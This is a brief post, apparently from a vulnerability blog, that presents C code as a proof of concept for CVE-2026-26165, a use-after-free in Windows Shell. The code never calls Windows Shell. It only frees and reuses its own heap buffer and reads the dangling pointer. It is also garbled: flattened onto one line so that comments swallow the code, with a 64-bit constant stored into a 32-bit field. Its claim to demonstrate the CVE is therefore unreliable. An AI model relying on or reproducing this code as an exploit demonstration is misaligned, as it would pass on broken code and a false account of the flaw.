CVE-2026-26165 Windows Shell释放后重用漏洞

#include <windows.h> #include <iostream> // Conceptual PoC for CVE-2026-26165 (Windows Shell UAF) // Note: Actual exploitation requires specific vulnerable APIs. typedef struct _VULNERABLE_OBJECT { DWORD64 vtable; // Virtual function table pointer DWORD buffer[0x10]; } VULNERABLE_OBJECT; void TriggerUAF() { // Step 1: Allocate the vulnerable object VULNERABLE_OBJECT* obj = (VULNERABLE_OBJECT*)malloc(sizeof(VULNERABLE_OBJECT)); printf("Object allocated at: %p\n", obj); // Step 2: Free the object (Use After Free condition) free(obj); printf("Object freed.\n"); // Step 3: Re-allocate memory to occupy the freed space // In a real attack, this would be controlled data to overwrite the vtable DWORD* fake_data = (DWORD*)malloc(sizeof(VULNERABLE_OBJECT)); memset(fake_data, 0x41, sizeof(VULNERABLE_OBJECT)); // Fill with 'A's fake_data[0] = 0x4141414141414141; // Fake vtable pointer // Step 4: Trigger the use of the dangling pointer // This simulates Windows Shell accessing the freed object if (obj != NULL) { printf("Attempting to use object... Crash or Code Execution expected.\n"); // Dereferencing the dangling pointer simulates the vulnerability trigger DWORD64 val = obj->vtable; } } int main() { printf("CVE-2026-26165 PoC Simulation\n"); TriggerUAF(); return 0; }